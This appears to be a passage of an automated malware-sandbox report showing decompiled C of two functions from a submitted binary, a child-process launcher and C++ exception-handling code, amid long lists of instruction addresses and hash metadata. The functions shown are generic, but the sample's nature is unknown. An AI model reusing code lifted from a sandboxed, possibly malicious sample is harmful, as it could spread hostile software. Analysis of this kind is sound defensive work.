                                                                                                                              0x7ff7da8e04fc
                                                                                                                              0x7ff7da8e04fe
                                                                                                                              0x7ff7da8e050b
                                                                                                                              0x7ff7da8e0515
                                                                                                                              0x7ff7da8e0517
                                                                                                                              0x7ff7da8e0521
                                                                                                                              0x7ff7da8e0526
                                                                                                                              0x7ff7da8e0526
                                                                                                                              0x7ff7da8e0529
                                                                                                                              0x7ff7da8e052d
                                                                                                                              0x7ff7da8e0531
                                                                                                                              0x7ff7da8e0536
                                                                                                                              0x7ff7da8e053b
                                                                                                                              0x7ff7da8e053d
                                                                                                                              0x7ff7da8e0540
                                                                                                                              0x7ff7da8e0546
                                                                                                                              0x7ff7da8e0549
                                                                                                                              0x7ff7da8e0549
                                                                                                                              0x7ff7da8e054d
                                                                                                                              0x7ff7da8e0550
                                                                                                                              0x7ff7da8e0557
                                                                                                                              0x7ff7da8e055c
                                                                                                                              0x7ff7da8e0564
                                                                                                                              0x7ff7da8e0568
                                                                                                                              0x7ff7da8e056e
                                                                                                                              0x7ff7da8e0573
                                                                                                                              0x7ff7da8e0575
                                                                                                                              0x7ff7da8e057a
                                                                                                                              0x7ff7da8e0580
                                                                                                                              0x7ff7da8e0585
                                                                                                                              0x7ff7da8e0588
                                                                                                                              0x7ff7da8e058a
                                                                                                                              0x7ff7da8e058e
                                                                                                                              0x7ff7da8e058e
                                                                                                                              0x7ff7da8e0592
                                                                                                                              0x7ff7da8e059a
                                                                                                                              0x7ff7da8e05a4
                                                                                                                              0x7ff7da8e05a8
                                                                                                                              0x7ff7da8e05ad
                                                                                                                              0x7ff7da8e05b0
                                                                                                                              0x7ff7da8e05b0
                                                                                                                              0x7ff7da8e05b3
                                                                                                                              0x7ff7da8e05be
                                                                                                                              0x7ff7da8e05c1
                                                                                                                              0x7ff7da8e05c7
                                                                                                                              0x7ff7da8e05c7
                                                                                                                              0x7ff7da8e05cf
                                                                                                                              0x7ff7da8e05d9
                                                                                                                              0x7ff7da8e05e1
                                                                                                                              0x7ff7da8e05ea
                                                                                                                              0x7ff7da8e05f3
                                                                                                                              0x7ff7da8e0601
                                                                                                                              0x7ff7da8e0608
                                                                                                                              0x7ff7da8e0615
                                                                                                                              0x7ff7da8e061b
                                                                                                                              0x7ff7da8e0621
                                                                                                                              0x7ff7da8e0628
                                                                                                                              0x7ff7da8e0635
                                                                                                                              0x7ff7da8e063b
                                                                                                                              0x7ff7da8e0641
                                                                                                                              0x7ff7da8e0643
                                                                                                                              0x7ff7da8e0649
                                                                                                                              0x7ff7da8e0657
                                                                                                                              0x7ff7da8e0660
                                                                                                                              0x7ff7da8e066b
                                                                                                                              0x7ff7da8e0674
                                                                                                                              0x7ff7da8e067f
                                                                                                                              0x7ff7da8e0688
                                                                                                                              0x7ff7da8e0693
                                                                                                                              0x7ff7da8e069c
                                                                                                                              0x7ff7da8e06a7
                                                                                                                              0x7ff7da8e06b4
                                                                                                                              0x7ff7da8e06bf
                                                                                                                              0x7ff7da8e06cc
                                                                                                                              0x7ff7da8e06d7
                                                                                                                              0x7ff7da8e06e4
                                                                                                                              0x7ff7da8e06ef
                                                                                                                              0x7ff7da8e06fc
                                                                                                                              0x7ff7da8e0703
                                                                                                                              0x7ff7da8e0710
                                                                                                                              0x7ff7da8e0717
                                                                                                                              0x7ff7da8e0724
                                                                                                                              0x7ff7da8e072b
                                                                                                                              0x7ff7da8e073b
                                                                                                                              0x7ff7da8e0745
                                                                                                                              0x7ff7da8e075c
                                                                                                                              0x7ff7da8e0763
                                                                                                                              0x7ff7da8e076d
                                                                                                                              0x7ff7da8e0778
                                                                                                                              0x7ff7da8e077a
                                                                                                                              0x7ff7da8e0780
                                                                                                                              0x7ff7da8e0785
                                                                                                                              0x7ff7da8e078a
                                                                                                                              0x7ff7da8e0790
                                                                                                                              0x7ff7da8e07a1
                                                                                                                              0x7ff7da8e07a9
                                                                                                                              0x7ff7da8e07ae
                                                                                                                              0x7ff7da8e07b4
                                                                                                                              0x7ff7da8e07b6
                                                                                                                              0x7ff7da8e07c1
                                                                                                                              0x7ff7da8e07d2
                                                                                                                              0x7ff7da8e07da
                                                                                                                              0x7ff7da8e07e4
                                                                                                                              0x7ff7da8e07e7
                                                                                                                              0x7ff7da8e07e9
                                                                                                                              0x7ff7da8e07ee
                                                                                                                              0x7ff7da8e07f6
                                                                                                                              0x7ff7da8e07f6
                                                                                                                              0x7ff7da8e07fa
                                                                                                                              0x7ff7da8e0807
                                                                                                                              0x7ff7da8e080d
                                                                                                                              0x7ff7da8e0812
                                                                                                                              0x7ff7da8e0814
                                                                                                                              0x7ff7da8e0819
                                                                                                                              0x7ff7da8e081f
                                                                                                                              0x7ff7da8e0828
                                                                                                                              0x7ff7da8e082a
                                                                                                                              0x7ff7da8e082e
                                                                                                                              0x7ff7da8e0834
                                                                                                                              0x7ff7da8e0836
                                                                                                                              0x7ff7da8e083b
                                                                                                                              0x7ff7da8e0840
                                                                                                                              0x7ff7da8e0846
                                                                                                                              0x7ff7da8e0846
                                                                                                                              0x7ff7da8e084e
                                                                                                                              0x7ff7da8e0857
                                                                                                                              0x7ff7da8e085d
                                                                                                                              0x7ff7da8e0862
                                                                                                                              0x7ff7da8e0867
                                                                                                                              0x7ff7da8e0869
                                                                                                                              0x7ff7da8e086e
                                                                                                                              0x7ff7da8e0879
                                                                                                                              0x7ff7da8e087e
                                                                                                                              0x7ff7da8e0888
                                                                                                                              0x7ff7da8e088a
                                                                                                                              0x7ff7da8e088e
                                                                                                                              0x7ff7da8e0890
                                                                                                                              0x7ff7da8e0896
                                                                                                                              0x7ff7da8e089b
                                                                                                                              0x7ff7da8e08a0
                                                                                                                              0x7ff7da8e08a6
                                                                                                                              0x7ff7da8e08ab
                                                                                                                              0x7ff7da8e08b0
                                                                                                                              0x7ff7da8e08b6
                                                                                                                              0x7ff7da8e08bb
                                                                                                                              0x7ff7da8e08bd
                                                                                                                              0x7ff7da8e08c0
                                                                                                                              0x7ff7da8e08c7
                                                                                                                              0x7ff7da8e08cc
                                                                                                                              0x7ff7da8e08ec

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID: f$f$p$p$f
                                                                                                                              • API String ID: 3215553584-1325933183
                                                                                                                              • Opcode ID: 864902cbb2e935f55fbb0b0f358a3d1305b233c90ffe52d12db1516ed6b7c985
                                                                                                                              • Instruction ID: 2626698016375ed4ef662938865a372bb064202d945700eb323fef4a9af06217
                                                                                                                              • Opcode Fuzzy Hash: 864902cbb2e935f55fbb0b0f358a3d1305b233c90ffe52d12db1516ed6b7c985
                                                                                                                              • Instruction Fuzzy Hash: 4912B261E4C1C3C6FB216A14A41437DE271FBA0751FC84877EED9465C6DB3EEAA08B60
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D6F50 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84processsynchronizationCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 29%
                                                                                                                              			E00007FF77FF7DA8D6F50(void* __rax, long long __rbx, void* __rcx, long long _a16, short _a24, intOrPtr _a32, long long _a40, long long _a48, long long _a56, long long _a64, intOrPtr _a72, char _a80, long long _a88, short _a96, char _a104, char _a136, long long _a144, intOrPtr _a196, short _a200, signed long long _a216, signed long long _a224, signed long long _a232, char _a248, signed int _a8440, void* _a8480) {
				signed long long _t67;
				signed long long _t68;
				long long _t90;
				void* _t91;
				void* _t92;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;

				_a16 = __rbx;
				E00007FF77FF7DA8DAD20(0x2110, __rax, _t98, _t99);
				_t67 =  *0xda90d008; // 0xe3add53f52b8
				_t68 = _t67 ^ _t92 - __rax;
				_a8440 = _t68;
				_a72 = 0;
				r8d = 0x1000;
				E00007FF77FF7DA8D79A0(_t68, __rbx,  &_a248, __rcx, _t91, _t95);
				SetConsoleCtrlHandler(??, ??);
				_a80 = 0x18;
				_a88 = _t90;
				_a96 = 1;
				GetStartupInfoW(??);
				asm("xorps xmm0, xmm0");
				_a144 = _t90;
				asm("movdqa [esp+0xa0], xmm0");
				_a196 = 0x101;
				_a200 = 1;
				E00007FF77FF7DA8E41C0(0, _t68);
				E00007FF77FF7DA8E6E48(E00007FF77FF7DA8E90D4(_t68, _t68), _t68);
				_a216 = _t68;
				E00007FF77FF7DA8E41C0(1, _t68);
				E00007FF77FF7DA8E6E48(E00007FF77FF7DA8E90D4(_t68, _t68), _t68);
				_t14 = _t90 + 2; // 0x2
				_a224 = _t68;
				E00007FF77FF7DA8E41C0(_t14, _t68);
				E00007FF77FF7DA8E6E48(E00007FF77FF7DA8E90D4(_t68, _t68), _t68);
				_a232 = _t68;
				GetCommandLineW();
				r9d = 0;
				_a64 =  &_a104;
				_a56 =  &_a136;
				_a48 = _t90;
				_a40 = _t90;
				_a32 = 0;
				_a24 = 1;
				if (CreateProcessW(??, ??, ??, ??, ??, ??, ??, ??, ??, ??) == 0) goto 0xda8d70b8;
				WaitForSingleObject(??, ??);
				GetExitCodeProcess(??, ??);
				goto 0xda8d70d0;
				E00007FF77FF7DA8D2620(CreateProcessW(??, ??, ??, ??, ??, ??, ??, ??, ??, ??),  &_a136, "CreateProcessW", "Error creating child process!\n",  &_a80, _t97);
				return E00007FF77FF7DA8DACF0(0xffffffff, _t44, _a8440 ^ _t92 - __rax);
			}












                                                                                                                              0x7ff7da8d6f50
                                                                                                                              0x7ff7da8d6f5b
                                                                                                                              0x7ff7da8d6f63
                                                                                                                              0x7ff7da8d6f6a
                                                                                                                              0x7ff7da8d6f6d
                                                                                                                              0x7ff7da8d6f82
                                                                                                                              0x7ff7da8d6f86
                                                                                                                              0x7ff7da8d6f8c
                                                                                                                              0x7ff7da8d6f9f
                                                                                                                              0x7ff7da8d6fad
                                                                                                                              0x7ff7da8d6fb5
                                                                                                                              0x7ff7da8d6fba
                                                                                                                              0x7ff7da8d6fbe
                                                                                                                              0x7ff7da8d6fc4
                                                                                                                              0x7ff7da8d6fc7
                                                                                                                              0x7ff7da8d6fd1
                                                                                                                              0x7ff7da8d6fda
                                                                                                                              0x7ff7da8d6fe5
                                                                                                                              0x7ff7da8d6fed
                                                                                                                              0x7ff7da8d6ffc
                                                                                                                              0x7ff7da8d7003
                                                                                                                              0x7ff7da8d700b
                                                                                                                              0x7ff7da8d701a
                                                                                                                              0x7ff7da8d701f
                                                                                                                              0x7ff7da8d7022
                                                                                                                              0x7ff7da8d702a
                                                                                                                              0x7ff7da8d7039
                                                                                                                              0x7ff7da8d703e
                                                                                                                              0x7ff7da8d7046
                                                                                                                              0x7ff7da8d704c
                                                                                                                              0x7ff7da8d7064
                                                                                                                              0x7ff7da8d7071
                                                                                                                              0x7ff7da8d7076
                                                                                                                              0x7ff7da8d707b
                                                                                                                              0x7ff7da8d7080
                                                                                                                              0x7ff7da8d7084
                                                                                                                              0x7ff7da8d7090
                                                                                                                              0x7ff7da8d709c
                                                                                                                              0x7ff7da8d70ac
                                                                                                                              0x7ff7da8d70b6
                                                                                                                              0x7ff7da8d70c6
                                                                                                                              0x7ff7da8d70f0

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
                                                                                                                              • String ID: CreateProcessW$Error creating child process!
                                                                                                                              • API String ID: 2895956056-3524285272
                                                                                                                              • Opcode ID: a68fb7304a42ac273bc53bf185094bfbd624d4ea67b8908c2ccc1c8bf35a7020
                                                                                                                              • Instruction ID: fe290bdd321b5e6ad29992a19bfce8018d0919ed447951aab990f5a979b7050a
                                                                                                                              • Opcode Fuzzy Hash: a68fb7304a42ac273bc53bf185094bfbd624d4ea67b8908c2ccc1c8bf35a7020
                                                                                                                              • Instruction Fuzzy Hash: 03413F32A0878286EA11AB60F4452AEF7A4FFE4350FD00576EA8D43B96DF7CD1648B50
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DDB90 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 66%
                                                                                                                              			E00007FF77FF7DA8DDB90(intOrPtr __ecx, void* __edx, void* __esi, intOrPtr* __rcx, long long __rdx, long long __r8, long long __r9, void* __r10) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				signed int* _t128;
				void* _t145;
				intOrPtr _t146;
				intOrPtr _t154;
				void* _t173;
				intOrPtr _t176;
				signed int _t177;
				signed int _t178;
				void* _t209;
				signed long long _t219;
				signed long long _t220;
				signed long long _t226;
				long long _t228;
				signed int _t235;
				intOrPtr* _t236;
				intOrPtr* _t237;
				signed long long _t246;
				long long _t267;
				signed int* _t280;
				long long _t281;
				void* _t282;
				void* _t283;
				signed long long _t284;
				long long _t296;
				signed int _t307;
				unsigned long long _t313;

				_t180 = __esi;
				_t282 = _t283 - 0x28;
				_t284 = _t283 - 0x128;
				_t219 =  *0xda90d008; // 0xe3add53f52b8
				_t220 = _t219 ^ _t284;
				 *(_t282 + 0x10) = _t220;
				_t280 =  *((intOrPtr*)(_t282 + 0x90));
				_t307 =  *((intOrPtr*)(_t282 + 0xa8));
				 *((long long*)(_t284 + 0x68)) = __r8;
				_t236 = __rcx;
				 *((long long*)(_t284 + 0x78)) = __rdx;
				 *(_t282 - 0x68) = _t307;
				 *((char*)(_t284 + 0x60)) = 0;
				_t281 = __r9;
				_t128 = E00007FF77FF7DA8DEAF0(__ecx, __esi, __rcx, __rdx, __r9, __r9, _t282, _t280, __r9);
				r14d = _t128;
				if (_t128 - 0xffffffff < 0) goto 0xda8de05f;
				if (_t128 - _t280[1] >= 0) goto 0xda8de05f;
				if ( *_t236 != 0xe06d7363) goto 0xda8ddcdc;
				if ( *((intOrPtr*)(_t236 + 0x18)) != 4) goto 0xda8ddcdc;
				if ( *((intOrPtr*)(_t236 + 0x20)) - 0x19930520 - 2 > 0) goto 0xda8ddcdc;
				if ( *((long long*)(_t236 + 0x30)) != 0) goto 0xda8ddcdc;
				E00007FF77FF7DA8DCC80(_t220);
				if ( *((long long*)(_t220 + 0x20)) == 0) goto 0xda8ddff8;
				E00007FF77FF7DA8DCC80(_t220);
				_t237 =  *((intOrPtr*)(_t220 + 0x20));
				E00007FF77FF7DA8DCC80(_t220);
				 *((char*)(_t284 + 0x60)) = 1;
				 *((long long*)(_t284 + 0x68)) =  *((intOrPtr*)(_t220 + 0x28));
				E00007FF77FF7DA8DD650(_t220,  *((intOrPtr*)(_t237 + 0x38)));
				if ( *_t237 != 0xe06d7363) goto 0xda8ddc94;
				if ( *((intOrPtr*)(_t237 + 0x18)) != 4) goto 0xda8ddc94;
				if ( *((intOrPtr*)(_t237 + 0x20)) - 0x19930520 - 2 > 0) goto 0xda8ddc94;
				if ( *((long long*)(_t237 + 0x30)) == 0) goto 0xda8de05f;
				E00007FF77FF7DA8DCC80(_t220);
				if ( *(_t220 + 0x38) == 0) goto 0xda8ddcdc;
				E00007FF77FF7DA8DCC80(_t220);
				E00007FF77FF7DA8DCC80(_t220);
				 *(_t220 + 0x38) =  *(_t220 + 0x38) & 0x00000000;
				if (E00007FF77FF7DA8DEB88(_t220, _t237, _t237,  *(_t220 + 0x38), __r9) != 0) goto 0xda8ddcd7;
				if (E00007FF77FF7DA8DEC78(_t220, _t237,  *(_t220 + 0x38), __r9, _t282) == 0) goto 0xda8de03c;
				goto 0xda8de018;
				 *((long long*)(_t282 - 0x40)) =  *((intOrPtr*)(__r9 + 8));
				 *(_t282 - 0x48) = _t280;
				if ( *_t237 != 0xe06d7363) goto 0xda8ddfaf;
				if ( *((intOrPtr*)(_t237 + 0x18)) != 4) goto 0xda8ddfaf;
				if ( *((intOrPtr*)(_t237 + 0x20)) - 0x19930520 - 2 > 0) goto 0xda8ddfaf;
				r15d = 0;
				if (_t280[3] - r15d <= 0) goto 0xda8ddee0;
				 *(_t284 + 0x28) =  *(_t282 + 0xa0);
				 *(_t284 + 0x20) = _t280;
				r8d = r14d;
				_t145 = E00007FF77FF7DA8DD33C(_t237, _t282 - 0x28, _t282 - 0x48, __r9, _t282, _t280, __r9, __r10);
				asm("movups xmm0, [ebp-0x28]");
				asm("movdqu [ebp-0x38], xmm0");
				asm("psrldq xmm0, 0x8");
				asm("movd eax, xmm0");
				if (_t145 -  *((intOrPtr*)(_t282 - 0x10)) >= 0) goto 0xda8ddee0;
				_t296 =  *((intOrPtr*)(_t282 - 0x28));
				r13d =  *((intOrPtr*)(_t282 - 0x30));
				 *((long long*)(_t282 - 0x80)) = _t296;
				_t146 = r13d;
				asm("inc ecx");
				 *((intOrPtr*)(_t282 - 0x50)) = __ecx;
				asm("movd eax, xmm0");
				asm("movups [ebp-0x60], xmm0");
				if (_t146 - r14d > 0) goto 0xda8dded3;
				_t226 =  *(_t282 - 0x60) >> 0x20;
				if (r14d - _t146 > 0) goto 0xda8dded3;
				r12d = r15d;
				_t267 =  *((intOrPtr*)( *((intOrPtr*)( *( *(_t282 - 0x38)) + 0x10)) + ( *( *(_t282 - 0x38)) +  *( *(_t282 - 0x38)) * 4) * 4 +  *((intOrPtr*)(_t296 + 8)) + 0x10)) +  *((intOrPtr*)(__r9 + 8));
				_t313 =  *(_t282 - 0x58) >> 0x20;
				 *((long long*)(_t282 - 0x70)) = _t267;
				if (r15d == 0) goto 0xda8ddec0;
				_t246 = _t226 + _t226 * 4;
				asm("movups xmm0, [edx+ecx*4]");
				asm("movups [ebp-0x8], xmm0");
				_t59 = _t246 * 4; // 0x48ccccc35f40c483
				 *((intOrPtr*)(_t282 + 8)) =  *((intOrPtr*)(_t267 + _t59 + 0x10));
				E00007FF77FF7DA8DD624(_t226);
				_t228 = _t226 + 4 +  *((intOrPtr*)( *((intOrPtr*)(_t237 + 0x30)) + 0xc));
				 *((long long*)(_t284 + 0x70)) = _t228;
				E00007FF77FF7DA8DD624(_t228);
				_t176 =  *((intOrPtr*)(_t228 +  *((intOrPtr*)( *((intOrPtr*)(_t237 + 0x30)) + 0xc))));
				 *((intOrPtr*)(_t284 + 0x64)) = _t176;
				if (_t176 <= 0) goto 0xda8dde50;
				E00007FF77FF7DA8DD624(_t228);
				 *((long long*)(_t282 - 0x78)) = _t228 +  *((intOrPtr*)( *((intOrPtr*)(_t284 + 0x70))));
				if (E00007FF77FF7DA8DE284(_t180, _t237, _t282 - 8, _t228 +  *((intOrPtr*)( *((intOrPtr*)(_t284 + 0x70)))), _t280, __r9,  *((intOrPtr*)(_t237 + 0x30))) != 0) goto 0xda8dde61;
				 *((long long*)(_t284 + 0x70)) =  *((long long*)(_t284 + 0x70)) + 4;
				_t154 =  *((intOrPtr*)(_t284 + 0x64)) - 1;
				 *((intOrPtr*)(_t284 + 0x64)) = _t154;
				if (_t154 > 0) goto 0xda8dde14;
				r12d = r12d + 1;
				if (r12d == r15d) goto 0xda8ddec7;
				goto 0xda8dddcd;
				 *((char*)(_t284 + 0x58)) =  *((intOrPtr*)(_t282 + 0x98));
				 *(_t284 + 0x50) =  *((intOrPtr*)(_t284 + 0x60));
				 *((long long*)(_t284 + 0x48)) =  *(_t282 - 0x68);
				 *(_t284 + 0x40) =  *(_t282 + 0xa0);
				 *(_t284 + 0x38) = _t282 - 0x60;
				 *(_t284 + 0x30) =  *((intOrPtr*)(_t282 - 0x78));
				 *(_t284 + 0x28) = _t282 - 8;
				 *(_t284 + 0x20) = _t280;
				E00007FF77FF7DA8DDABC(_t180, _t237, _t237,  *((intOrPtr*)(_t284 + 0x78)),  *((intOrPtr*)(_t284 + 0x68)), _t281);
				goto 0xda8ddecc;
				goto 0xda8dded0;
				r15d = 0;
				r13d = r13d + 1;
				if (r13d -  *((intOrPtr*)(_t282 - 0x10)) < 0) goto 0xda8ddd65;
				if (( *_t280 & 0x1fffffff) - 0x19930521 < 0) goto 0xda8ddfec;
				_t209 = _t280[8] - r15d;
				if (_t209 == 0) goto 0xda8ddf06;
				E00007FF77FF7DA8DD610(_t282 - 8);
				if (_t209 != 0) goto 0xda8ddf27;
				if ((_t280[9] >> 0x00000002 & 0x00000001) == 0) goto 0xda8ddfec;
				if (E00007FF77FF7DA8DD1E0(_t280[9] >> 0x00000002 & 0x00000001, _t282 - 8 + _t280[8], _t281, _t280) != 0) goto 0xda8ddfec;
				if ((_t280[9] >> 0x00000002 & 0x00000001) != 0) goto 0xda8de042;
				if (_t280[8] == r15d) goto 0xda8ddf4c;
				E00007FF77FF7DA8DD610(_t282 - 8 + _t280[8]);
				_t235 = _t280[8];
				goto 0xda8ddf4f;
				if (E00007FF77FF7DA8DEB88(_t235, _t237, _t237, _t313, _t281) != 0) goto 0xda8ddfec;
				E00007FF77FF7DA8DD270(_t237,  *((intOrPtr*)(_t284 + 0x78)), _t281, _t282, _t280, _t282 - 0x78);
				_t177 =  *((intOrPtr*)(_t282 + 0x98));
				 *(_t284 + 0x50) = _t177;
				_t178 = _t177 | 0xffffffff;
				 *((long long*)(_t284 + 0x48)) = _t281;
				 *(_t284 + 0x40) = _t313;
				 *(_t284 + 0x38) = _t178;
				 *(_t284 + 0x30) = _t178;
				 *(_t284 + 0x28) = _t280;
				 *(_t284 + 0x20) = _t313;
				E00007FF77FF7DA8DD47C( *((intOrPtr*)(_t284 + 0x78)), _t237,  *((intOrPtr*)(_t284 + 0x68)), _t235);
				goto 0xda8ddfec;
				if (_t280[3] <= 0) goto 0xda8ddfec;
				if ( *((char*)(_t282 + 0x98)) != 0) goto 0xda8de05f;
				 *(_t284 + 0x38) = _t307;
				 *(_t284 + 0x30) =  *(_t282 + 0xa0);
				 *(_t284 + 0x28) = r14d;
				 *(_t284 + 0x20) = _t280;
				E00007FF77FF7DA8DE068(_t237, _t237,  *((intOrPtr*)(_t284 + 0x78)), _t313, _t281);
				_t173 = E00007FF77FF7DA8DCC80(_t235);
				if ( *((long long*)(_t235 + 0x38)) != 0) goto 0xda8de05f;
				return E00007FF77FF7DA8DACF0(_t173, _t178,  *(_t282 + 0x10) ^ _t284);
			}

































                                                                                                                              0x7ff7da8ddb90
                                                                                                                              0x7ff7da8ddb9d
                                                                                                                              0x7ff7da8ddba2
                                                                                                                              0x7ff7da8ddba9
                                                                                                                              0x7ff7da8ddbb0
                                                                                                                              0x7ff7da8ddbb3
                                                                                                                              0x7ff7da8ddbb7
                                                                                                                              0x7ff7da8ddbc1
                                                                                                                              0x7ff7da8ddbcb
                                                                                                                              0x7ff7da8ddbd0
                                                                                                                              0x7ff7da8ddbd3
                                                                                                                              0x7ff7da8ddbde
                                                                                                                              0x7ff7da8ddbe5
                                                                                                                              0x7ff7da8ddbea
                                                                                                                              0x7ff7da8ddbed
                                                                                                                              0x7ff7da8ddbf2
                                                                                                                              0x7ff7da8ddbf8
                                                                                                                              0x7ff7da8ddc01
                                                                                                                              0x7ff7da8ddc0d
                                                                                                                              0x7ff7da8ddc17
                                                                                                                              0x7ff7da8ddc28
                                                                                                                              0x7ff7da8ddc33
                                                                                                                              0x7ff7da8ddc39
                                                                                                                              0x7ff7da8ddc43
                                                                                                                              0x7ff7da8ddc49
                                                                                                                              0x7ff7da8ddc4e
                                                                                                                              0x7ff7da8ddc52
                                                                                                                              0x7ff7da8ddc5b
                                                                                                                              0x7ff7da8ddc64
                                                                                                                              0x7ff7da8ddc69
                                                                                                                              0x7ff7da8ddc74
                                                                                                                              0x7ff7da8ddc7a
                                                                                                                              0x7ff7da8ddc87
                                                                                                                              0x7ff7da8ddc8e
                                                                                                                              0x7ff7da8ddc94
                                                                                                                              0x7ff7da8ddc9e
                                                                                                                              0x7ff7da8ddca0
                                                                                                                              0x7ff7da8ddca9
                                                                                                                              0x7ff7da8ddcb4
                                                                                                                              0x7ff7da8ddcc0
                                                                                                                              0x7ff7da8ddccc
                                                                                                                              0x7ff7da8ddcd2
                                                                                                                              0x7ff7da8ddce0
                                                                                                                              0x7ff7da8ddce4
                                                                                                                              0x7ff7da8ddcee
                                                                                                                              0x7ff7da8ddcf8
                                                                                                                              0x7ff7da8ddd09
                                                                                                                              0x7ff7da8ddd0f
                                                                                                                              0x7ff7da8ddd16
                                                                                                                              0x7ff7da8ddd26
                                                                                                                              0x7ff7da8ddd31
                                                                                                                              0x7ff7da8ddd36
                                                                                                                              0x7ff7da8ddd39
                                                                                                                              0x7ff7da8ddd3e
                                                                                                                              0x7ff7da8ddd42
                                                                                                                              0x7ff7da8ddd47
                                                                                                                              0x7ff7da8ddd4c
                                                                                                                              0x7ff7da8ddd53
                                                                                                                              0x7ff7da8ddd59
                                                                                                                              0x7ff7da8ddd5d
                                                                                                                              0x7ff7da8ddd61
                                                                                                                              0x7ff7da8ddd70
                                                                                                                              0x7ff7da8ddd7f
                                                                                                                              0x7ff7da8ddd89
                                                                                                                              0x7ff7da8ddd8c
                                                                                                                              0x7ff7da8ddd90
                                                                                                                              0x7ff7da8ddd97
                                                                                                                              0x7ff7da8ddda1
                                                                                                                              0x7ff7da8ddda8
                                                                                                                              0x7ff7da8dddae
                                                                                                                              0x7ff7da8dddb4
                                                                                                                              0x7ff7da8dddbc
                                                                                                                              0x7ff7da8dddc0
                                                                                                                              0x7ff7da8dddc7
                                                                                                                              0x7ff7da8dddd0
                                                                                                                              0x7ff7da8dddd4
                                                                                                                              0x7ff7da8dddd8
                                                                                                                              0x7ff7da8ddddc
                                                                                                                              0x7ff7da8ddde0
                                                                                                                              0x7ff7da8ddde3
                                                                                                                              0x7ff7da8dddf4
                                                                                                                              0x7ff7da8dddf7
                                                                                                                              0x7ff7da8dddfc
                                                                                                                              0x7ff7da8dde09
                                                                                                                              0x7ff7da8dde0c
                                                                                                                              0x7ff7da8dde12
                                                                                                                              0x7ff7da8dde14
                                                                                                                              0x7ff7da8dde2f
                                                                                                                              0x7ff7da8dde3a
                                                                                                                              0x7ff7da8dde40
                                                                                                                              0x7ff7da8dde46
                                                                                                                              0x7ff7da8dde48
                                                                                                                              0x7ff7da8dde4e
                                                                                                                              0x7ff7da8dde50
                                                                                                                              0x7ff7da8dde56
                                                                                                                              0x7ff7da8dde5c
                                                                                                                              0x7ff7da8dde7a
                                                                                                                              0x7ff7da8dde82
                                                                                                                              0x7ff7da8dde8a
                                                                                                                              0x7ff7da8dde95
                                                                                                                              0x7ff7da8dde9d
                                                                                                                              0x7ff7da8ddea6
                                                                                                                              0x7ff7da8ddeaf
                                                                                                                              0x7ff7da8ddeb4
                                                                                                                              0x7ff7da8ddeb9
                                                                                                                              0x7ff7da8ddebe
                                                                                                                              0x7ff7da8ddec5
                                                                                                                              0x7ff7da8dded0
                                                                                                                              0x7ff7da8dded3
                                                                                                                              0x7ff7da8ddeda
                                                                                                                              0x7ff7da8ddeec
                                                                                                                              0x7ff7da8ddef2
                                                                                                                              0x7ff7da8ddef6
                                                                                                                              0x7ff7da8ddef8
                                                                                                                              0x7ff7da8ddf04
                                                                                                                              0x7ff7da8ddf0e
                                                                                                                              0x7ff7da8ddf21
                                                                                                                              0x7ff7da8ddf2f
                                                                                                                              0x7ff7da8ddf39
                                                                                                                              0x7ff7da8ddf3b
                                                                                                                              0x7ff7da8ddf43
                                                                                                                              0x7ff7da8ddf4a
                                                                                                                              0x7ff7da8ddf59
                                                                                                                              0x7ff7da8ddf6c
                                                                                                                              0x7ff7da8ddf71
                                                                                                                              0x7ff7da8ddf82
                                                                                                                              0x7ff7da8ddf86
